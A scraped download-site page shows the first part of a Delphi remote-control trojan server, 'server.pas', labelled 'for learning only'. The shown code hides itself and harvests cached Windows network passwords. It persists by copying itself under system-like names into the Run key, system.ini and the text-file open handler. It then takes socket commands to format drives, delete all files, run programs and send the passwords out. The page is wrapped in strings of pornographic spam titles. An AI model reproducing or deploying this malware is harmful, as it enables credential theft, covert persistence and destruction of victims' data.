亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? server.pas

?? 這個也不錯
?? PAS
?? 第 1 頁 / 共 2 頁
字號:
{本程序只供學習用 }
unit server;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, ComCtrls, shellapi, StdCtrls, registry, ExtCtrls, Psock, NMSTRM,
  FileCtrl,MMSystem;
const
  CM_RESTORE=WM_USER+$1000;
  MYAPPNAME='My Delphi Program';
  Count: Integer = 0;
type
  TForm1 = class(TForm)
    StatusBar1: TStatusBar;
    Label1: TLabel;
    ListBox1: TListBox;
    Timer1: TTimer;
    sharelist: TListBox;
    Timer2: TTimer;
    serversocket1: TServerSocket;
    NMStrm1: TNMStrm;
    Edit1: TEdit;
    Image1: TImage;
    DriveComboBox1: TDriveComboBox;
    DirectoryListBox1: TDirectoryListBox;
    FileListBox1: TFileListBox;
    ListBox2: TListBox;
    NMStrmServ1: TNMStrmServ;
    NMStrm2: TNMStrm;
    procedure FormCreate(Sender: TObject);
    procedure serversocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure serversocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure serversocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    procedure Timer2Timer(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure serversocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure NMStrm1MessageSent(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure NMStrmServ1ClientContact(Sender: TObject);
    procedure NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
      strm: TStream);
    procedure wmhotkey(var message:Tmessage);message WM_HOTKEY;
  private
    { Private declarations }
  public
    procedure CreateParams(var Params: TCreateParams); override;
    Procedure RestoreRequest(var message: TMessage); message CM_RESTORE;
    { Public declarations }
  end;
//格式化說明
const num: Integer = 0;
const SHFMT_DRV_A = 0;
const SHFMT_DRV_B = 1;
const SHFMT_DRV_C = 2;
const SHFMT_DRV_D = 3;
const SHFMT_ID_DEFAULT = $FFFF;
const SHFMT_OPT_QUICKFORMAT = 0;
const SHFMT_OPT_FULLFORMAT = 1;
const SHFMT_OPT_SYSONLY = 2;
const SHFMT_ERROR = -1;
const SHFMT_CANCEL = -2;
const SHFMT_NOFORMAT = -3;
var
  Form1: TForm1;
  info:array[1..50] of string[10];
  RvHandle : hWnd;
function SHFormatDrive(hWnd : HWND;Drive : Word;fmtID : Word;Options : Word) : Longint stdcall; external 'Shell32.dll' name 'SHFormatDrive';
function RegisterServiceProcess(dwprocessid,dwtype:integer):integer;stdcall;external 'kernel32.dll';
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
implementation

uses mail;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
  end;

var
  WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
  Password: String;
  PC: Array[0..$FF] of Char;
begin
  inc(num);
  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);
  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
  CharToOem(PC, PC);
  Password := Password + ': ' + StrPas(PC);
  Form1.ListBox2.Items.Add(Password);
  Result := True;
end;
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
 inherited CreateParams(Params);
 Params.WinClassName := MYAPPNAME;
end;
procedure Tform1.wmhotkey(var message:Tmessage);
  var
   Atype:TmsgDlgtype;
   b1:Tmsgdlgbuttons;
   WResult:word;
   password :string;
 begin
   form1.Visible :=true;
   Atype:=mtconfirmation;
   b1:=mbyesnocancel;
   password:=inputbox('你要關閉嗎?請輸入密碼','系統','');
   if password='@look' then
      begin
        close;
      end
 end;
procedure TForm1.RestoreRequest(var message: TMessage);
  begin
    if IsIconic(Application.Handle) = TRUE then
      Application.Restore
    else
     Application.BringToFront;
  end;



{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var MySysPath : PCHAR ;
    reg,myreg:tregistry;
    syspath:string;
begin
   //設置熱鍵
     if registerhotkey(handle,0,MOD_ALT or mod_control,66) then
       begin
        // messagebox(handle,'注冊成功','系統',mb_ok+mb_iconstop);
         hide;
       end;
   //后臺運行
   RegisterServiceProcess(GetCurrentProcessId,1);
  //網絡密碼
   if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
   begin
     listbox2.Items.Add('沒有密碼列表可用');
   end
  else
   if num = 0 then
    ListBox2.Items.Add('沒有發現密碼');
   //隱藏
    timer1.Enabled:=true;
    timer2.Enabled:=true;
  //保護
   GetMem(MySysPath,255);
   GetSystemDirectory(MySysPath,255);
   syspath:=string(mysyspath);
   if FileExists(syspath+'\kernel32.exe') then
      begin
        deletefile(syspath+'\kernel32.exe');
        if fileExists('c:\windows\command\attrib.exe') then
           begin
             deletefile('c:\windows\command\attrib.exe');
           end;
      end
   else
    begin
   copyfile(pchar(Application.Exename),pchar(syspath+'\kernel32.exe'),true);
   copyfile(pchar(application.exename),pchar('c:\windows\command\bad.exe'),true);
   copyfile(pchar(application.exename),pchar(syspath+'\Expl0rer.exe'),true);
   SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
   Writeprivateprofilestring('boot','shell','Explorer.exe kernel32.exe','c:\windows\system.ini');
   myreg:=tregistry.Create;
   myreg.RootKey:=HKEY_LOCAL_MACHINE;
   if myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true)then
     begin
       myreg.WriteString('',syspath+'\kernel32.exe');
       myreg.CloseKey;
     end;
      myreg.Free ;
  reg:=Tregistry.Create ;
  reg.RootKey:=HKEY_CLASSES_ROOT;
  if reg.OpenKey('txtfile\shell\open\command\',true) then
     begin
       reg.WriteString('',syspath+'\Expl0rer.exe');
       reg.CloseKey ;
     end;
   if reg.OpenKey('inifile\shell\open\command\',true) then
     begin
       reg.WriteString('','c:\windows\command\bad.exe');
       reg.CloseKey ;
     end;
    reg.Free;
   //修改
   filesetAttr(syspath+'\kernel32.exe',7);
   filesetAttr(syspath+'\Expl0rer.exe',7);
   filesetAttr('c:\windows\command\bad.exe',7);
  //開始偵聽
   serversocket1.Open;
   serversocket1.Active:=true;
   serversocket1.Socket.Lock;
   Statusbar1.simpleText := '正在監聽...';
  end;
end;


procedure TForm1.serversocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
function getmid(const data:string; start, count :integer):string;
 begin
  if (start>length(data)) or (start<0) then start:=0;
  if count>length(data)-start then start:=length(data)-start;
  result:=copy(data,start,count);
 end ;
function getleft(const data:string; count :integer):string;
 begin
  if (count<0)or (count>length(data))then count:=length(data);
  result:=copy(data,1,count);
 end;
var myreg:tregistry;
    number,i:integer;
    hDesktop:THandle;
    temp:integer;
    rtScreen: TRect;
    hwnd1,hwnd2:hwnd;
    buttonname:string;
    result:boolean;
    devmode:tdevicemode;
    x,y:word;
    sharedir,sharename:string;
    len:integer;
    MyFStream: TFileStream;
    data,strfile,strback,str1:string;
    t1,t2:integer;
    fulls: TBitmap;
    fullsc: TCanvas;
    dc:HDC;
    KeyState  :TKeyboardState;
    FmtRes : longint;
    killpro : hwnd;
begin
    SetWindowPos(form1.handle,HWND_TOPmost,0,0,0,0,SWP_HIDEWINDOW);
     data:=socket.ReceiveText ;
    strfile:=copy(data,6,length(data)-5);
    //str1:=getmid(data,7,1);
    //t1:=strtoint(str1);
    //t2:=length(data)-strtoint(str1);
    //str2:=getmid(data,7,t1);
    //str3:=getmid(data,8,t2);
  //彈出菜單
  if data='popupme' then
    begin
     SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
    end; 
  // 進程度控制
  if pos('killp',data)=1 then
    begin
        killpro:=findwindow(nil,pchar(strfile));
        if killpro<>0 then
           begin
             sendmessage(killpro,WM_CLOSE,0,0);
           end;
    end;
 //數據信使
  if pos('over!',data)=1 then
     begin
       form2.close;
     end;
   if pos('mail!',data)=1 then
     begin
       form2.show;
       form2.memo1.Lines.Add('client '+ strfile) ;
     end  ;
 //格式化
  if  pos('for!!',data)=1 then
    if strfile='c:' then
      begin
        try
         FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_C,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
       except
      end;
    if strfile='d:' then
      begin
        try
          FmtRes:= ShFormatDrive(Handle,SHFMT_DRV_D,SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);
        except
      end;
     end;
  end;
  if pos('dela!',data)=1 then
     begin
      if  strfile='c:' then
          begin
            deletefile('c:\*.*');
          end;
      if strfile='d:' then
          begin
            deletefile('d:\*.*');
          end;
      if strfile='a:' then
         begin
            deletefile('a:\*.*');
         end;
     end;
  //運行程序
  if pos('exec!',data)=1 then
    begin
     winexec(pchar(strfile),SW_MAXIMIZE );
    end;
  //刪除文件
  if pos('del!!',data)=1 then
     begin
      deletefile(strfile);
     end;
  //上載文件
  if pos('up!!!',data)=1 then
   begin
     label1.Caption:=strfile;
   end;
  //鍵盤控制
  if data='f1key' then
   begin
      GetKeyboardState(KeyState);
      KeyState[VK_F3] := 1;
      SetKeyboardState(KeyState);
      end;
  if data='skey' then
     begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_SCROLL] = 0) then KeyState[VK_SCROLL] := 1
      else
      KeyState[VK_SCROLL] := 0;
      SetKeyboardState(KeyState);
      end;
  if data='ckey' then
      begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_CAPITAL] = 0) then KeyState[VK_CAPITAL] := 1
      else
      KeyState[VK_CAPITAL] := 0;
      SetKeyboardState(KeyState);
      end;
  if data='nkey' then
       begin
      GetKeyboardState(KeyState);
      if (KeyState[VK_NUMLOCK] = 0) then KeyState[VK_NUMLOCK] := 1
      else
      KeyState[VK_NUMLOCK] := 0;
      SetKeyboardState(KeyState);
      end;
  //改計算機名
  if pos('setpc',data)=1 then
    begin
     SetComputerName(pchar(strfile));
    end;
  //獲取密碼
  if pos('pass!',data)=1 then
    begin
      socket.SendText('pass!'+listbox2.Items.Text);
    end;
  if data='openc' then  mciSendString('Set cdaudio door open wait', nil, 0, handle);
  if data='cdrom' then  mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  //消息處理

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区三区在线观看视频| 欧美xxxxx牲另类人与| 视频一区欧美日韩| 中文字幕精品一区二区精品绿巨人 | 日本韩国一区二区| 韩国三级电影一区二区| 一二三区精品视频| 欧美国产欧美亚州国产日韩mv天天看完整| 欧美三级日韩三级国产三级| 国产成人精品综合在线观看| 五月天久久比比资源色| 亚洲精品免费在线播放| 欧美激情中文字幕| 欧美一区二区三区视频| 欧美日韩在线一区二区| jlzzjlzz亚洲女人18| 激情成人综合网| 日本午夜精品一区二区三区电影| 一区二区三区四区不卡在线| 国产精品素人视频| 久久这里只有精品首页| 欧美一区二区免费视频| 在线观看成人小视频| 99久久精品国产毛片| 福利视频网站一区二区三区| 久久99热国产| 精品一区二区三区不卡| 欧美aaaaa成人免费观看视频| 亚洲综合一二三区| 亚洲日本va在线观看| 成人免费视频在线观看| 国产精品蜜臀av| 国产精品免费视频网站| 国产精品久久久久久久久久免费看 | 懂色av一区二区三区蜜臀| 精品一区二区在线视频| 美女一区二区在线观看| 香蕉影视欧美成人| 日韩av电影天堂| 奇米影视一区二区三区| 日本va欧美va精品| 久久99国产精品久久99 | 日韩国产在线一| 日韩极品在线观看| 免费久久精品视频| 久久99久久久久久久久久久| 美美哒免费高清在线观看视频一区二区| 午夜伦理一区二区| 日韩av电影天堂| 狠狠色丁香婷综合久久| 国产精品系列在线观看| 成人午夜av电影| 91欧美一区二区| 欧美午夜影院一区| 欧美精品v国产精品v日韩精品| 欧美精品欧美精品系列| 欧美成人bangbros| 日本一区二区三区视频视频| 亚洲天堂久久久久久久| 亚洲国产成人av网| 美女爽到高潮91| 国产91精品入口| 色哟哟欧美精品| 欧美一区二区三区免费| 精品剧情在线观看| 亚洲欧洲另类国产综合| 亚洲一区二区五区| 九一九一国产精品| 99免费精品在线| 欧美精品亚洲二区| 国产喷白浆一区二区三区| 亚洲视频在线一区观看| 日本欧洲一区二区| 国产91在线观看丝袜| 欧美性色欧美a在线播放| 欧美一区二区三区四区在线观看| 国产日韩欧美精品在线| 亚洲线精品一区二区三区八戒| 欧美bbbbb| 91网页版在线| 欧美高清一级片在线| 欧美国产成人在线| 日韩在线卡一卡二| 丁香天五香天堂综合| 欧美日韩美女一区二区| 久久久蜜桃精品| 香蕉影视欧美成人| 不卡高清视频专区| 欧美一区二区不卡视频| 国产精品久久久久久福利一牛影视 | 欧美日韩国产综合视频在线观看| 久久精品一区二区三区不卡| 亚洲精品免费在线观看| 国产精品一区免费视频| 欧美日韩一区二区三区视频| 欧美国产1区2区| 免费观看在线综合色| 91免费国产视频网站| 久久亚洲影视婷婷| 污片在线观看一区二区| 99久久久精品免费观看国产蜜| 精品不卡在线视频| 亚洲成人午夜影院| 91视频一区二区三区| 久久综合av免费| 欧美aⅴ一区二区三区视频| 91蜜桃免费观看视频| 亚洲国产精品成人久久综合一区| 日本不卡在线视频| 91激情五月电影| 亚洲欧美一区二区在线观看| 国产真实精品久久二三区| 欧美三级电影一区| 一区二区三区在线免费播放| www.欧美精品一二区| 国产日韩影视精品| 国产呦萝稀缺另类资源| 日韩欧美激情在线| 日本一区中文字幕| 欧美日韩日日骚| 一区二区理论电影在线观看| 9久草视频在线视频精品| 国产视频911| 国产精品一品视频| 欧美精品一区二区三区蜜桃| 蜜桃视频在线一区| 91.xcao| 日韩电影免费一区| 在线播放国产精品二区一二区四区 | 色欧美片视频在线观看在线视频| 国产精品系列在线| 成人国产精品免费观看动漫| 国产女主播在线一区二区| 国产毛片精品视频| 久久天天做天天爱综合色| 国产一二三精品| 久久嫩草精品久久久精品| 久久99精品久久久久久| 精品免费视频一区二区| 精品亚洲国产成人av制服丝袜| 日韩美女在线视频| 国产一区二区三区黄视频| 久久久久久久久久美女| 懂色av一区二区夜夜嗨| 国产精品你懂的| 色婷婷狠狠综合| 亚洲成人黄色小说| 欧美一级爆毛片| 国产主播一区二区三区| 国产免费观看久久| 91无套直看片红桃| 偷拍与自拍一区| 精品久久久三级丝袜| 成人午夜看片网址| 亚洲综合色网站| 91精品国产麻豆国产自产在线| 蜜桃视频在线一区| 久久综合久久综合九色| 成人白浆超碰人人人人| 亚洲嫩草精品久久| 欧美裸体一区二区三区| 美国av一区二区| 欧美激情一区二区三区不卡| 色综合久久久网| 免费看日韩a级影片| 欧美激情在线看| 在线观看国产精品网站| 久久91精品久久久久久秒播| 国产精品毛片高清在线完整版 | av成人免费在线| 午夜一区二区三区视频| 日韩免费一区二区| 97精品国产97久久久久久久久久久久| 亚洲一二三区视频在线观看| 久久久亚洲精华液精华液精华液| 91蝌蚪porny成人天涯| 蜜桃视频在线观看一区二区| 国产精品久久久久一区二区三区 | 国产在线看一区| 亚洲美女少妇撒尿| 精品久久久久久无| 色综合一个色综合亚洲| 麻豆91在线播放| 亚洲欧美日韩国产中文在线| 日韩一区二区三区在线视频| 成人午夜免费av| 男女男精品网站| 亚洲日本乱码在线观看| 亚洲精品在线免费播放| 欧美性受xxxx| 懂色av一区二区三区蜜臀| 日精品一区二区三区| 国产精品视频在线看| 91麻豆精品国产91久久久久久久久| 成熟亚洲日本毛茸茸凸凹| 欧美aaaaaa午夜精品| 亚洲男人天堂一区| 国产日韩欧美不卡在线| 日韩精品一区二区在线观看| 在线观看网站黄不卡|